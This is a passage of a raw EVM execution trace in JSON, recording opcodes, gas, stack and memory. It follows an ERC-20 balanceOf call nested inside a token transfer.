,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":466,"op":"JUMP","gas":30595,"gasCost":8,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x827"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2087,"op":"JUMPDEST","gas":30587,"gasCost":1,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2088,"op":"PUSH1","gas":30586,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2090,"op":"PUSH1","gas":30583,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2092,"op":"DUP3","gas":30580,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2093,"op":"DUP5","gas":30577,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x20","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2094,"op":"SUB","gas":30574,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x20","0x4","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2095,"op":"SLT","gas":30571,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2096,"op":"ISZERO","gas":30568,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2097,"op":"PUSH2","gas":30565,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2100,"op":"JUMPI","gas":30562,"gasCost":10,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x1","0x839"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2105,"op":"JUMPDEST","gas":30552,"gasCost":1,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2106,"op":"PUSH2","gas":30551,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2109,"op":"DUP3","gas":30548,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2110,"op":"PUSH2","gas":30545,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2113,"op":"JUMP","gas":30542,"gasCost":8,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x78c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1932,"op":"JUMPDEST","gas":30534,"gasCost":1,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1933,"op":"DUP1","gas":30533,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1934,"op":"CALLDATALOAD","gas":30530,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1935,"op":"PUSH1","gas":30527,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1937,"op":"PUSH1","gas":30524,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1939,"op":"PUSH1","gas":30521,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1941,"op":"SHL","gas":30518,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1942,"op":"SUB","gas":30515,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1943,"op":"DUP2","gas":30512,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1944,"op":"AND","gas":30509,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1945,"op":"DUP2","gas":30506,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1946,"op":"EQ","gas":30503,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1947,"op":"PUSH2","gas":30500,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1950,"op":"JUMPI","gas":30497,"gasCost":10,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x7a3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1955,"op":"JUMPDEST","gas":30487,"gasCost":1,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1956,"op":"SWAP2","gas":30486,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x730","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1957,"op":"SWAP1","gas":30483,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4","0x730"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1958,"op":"POP","gas":30480,"gasCost":2,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x730","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1959,"op":"JUMP","gas":30478,"gasCost":8,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x730"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1840,"op":"JUMPDEST","gas":30470,"gasCost":1,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1841,"op":"SWAP4","gas":30469,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1d3","0x24","0x4","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1842,"op":"SWAP3","gas":30466,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x24","0x4","0x0","0x1d3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1843,"op":"POP","gas":30463,"gasCost":2,"depth":3,"stack":["0x70a08231","0x13e","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1d3","0x4","0x0","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1844,"op":"POP","gas":30461,"gasCost":2,"depth":3,"stack":["0x70a08231","0x13e","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1d3","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1845,"op":"POP","gas":30459,"gasCost":2,"depth":3,"stack":["0x70a08231","0x13e","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1d3","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1846,"op":"JUMP","gas":30457,"gasCost":8,"depth":3,"stack":["0x70a08231","0x13e","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1d3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":467,"op":"JUMPDEST","gas":30449,"gasCost":1,"depth":3,"stack":["0x70a08231","0x13e","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":468,"op":"PUSH1","gas":30448,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":470,"op":"PUSH1","gas":30445,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":472,"op":"MSTORE","gas":30442,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":473,"op":"PUSH1","gas":30439,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":475,"op":"SWAP1","gas":30436,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":476,"op":"DUP2","gas":30433,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":477,"op":"MSTORE","gas":30430,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":478,"op":"PUSH1","gas":30427,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":480,"op":"SWAP1","gas":30424,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x0","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":481,"op":"KECCAK256","gas":30421,"gasCost":42,"depth":3,"stack":["0x70a08231","0x13e","0x40","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":482,"op":"SLOAD","gas":30379,"gasCost":100,"depth":3,"stack":["0x70a08231","0x13e","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":483,"op":"DUP2","gas":30279,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0xc50cc66cadfb704b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":484,"op":"JUMP","gas":30276,"gasCost":8,"depth":3,"stack":["0x70a08231","0x13e","0xc50cc66cadfb704b","0x13e"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":318,"op":"JUMPDEST","gas":30268,"gasCost":1,"depth":3,"stack":["0x70a08231","0x13e","0xc50cc66cadfb704b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":319,"op":"PUSH1","gas":30267,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0xc50cc66cadfb704b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":321,"op":"MLOAD","gas":30264,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0xc50cc66cadfb704b","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":322,"op":"SWAP1","gas":30261,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0xc50cc66cadfb704b","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":323,"op":"DUP2","gas":30258,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x80","0xc50cc66cadfb704b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":324,"op":"MSTORE","gas":30255,"gasCost":9,"depth":3,"stack":["0x70a08231","0x13e","0x80","0xc50cc66cadfb704b","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":325,"op":"PUSH1","gas":30246,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":327,"op":"ADD","gas":30243,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x80","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":328,"op":"PUSH2","gas":30240,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":331,"op":"JUMP","gas":30237,"gasCost":8,"depth":3,"stack":["0x70a08231","0x13e","0xa0","0xf6"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":246,"op":"JUMPDEST","gas":30229,"gasCost":1,"depth":3,"stack":["0x70a08231","0x13e","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":247,"op":"PUSH1","gas":30228,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":249,"op":"MLOAD","gas":30225,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0xa0","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":250,"op":"DUP1","gas":30222,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0xa0","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":251,"op":"SWAP2","gas":30219,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0xa0","0x80","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":252,"op":"SUB","gas":30216,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x80","0x80","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":253,"op":"SWAP1","gas":30213,"gasCost":3,"depth":3,"stack":["0x70a08231","0x13e","0x80","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":254,"op":"RETURN","gas":30210,"gasCost":0,"depth":3,"stack":["0x70a08231","0x13e","0x20","0x80"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000000000000c50cc66cadfb704b"]},{"pc":2678,"op":"ISZERO","gas":30698,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2679,"op":"DUP1","gas":30695,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2680,"op":"ISZERO","gas":30692,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2681,"op":"PUSH2","gas":30689,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x70a08231","0x188","0x0","0x1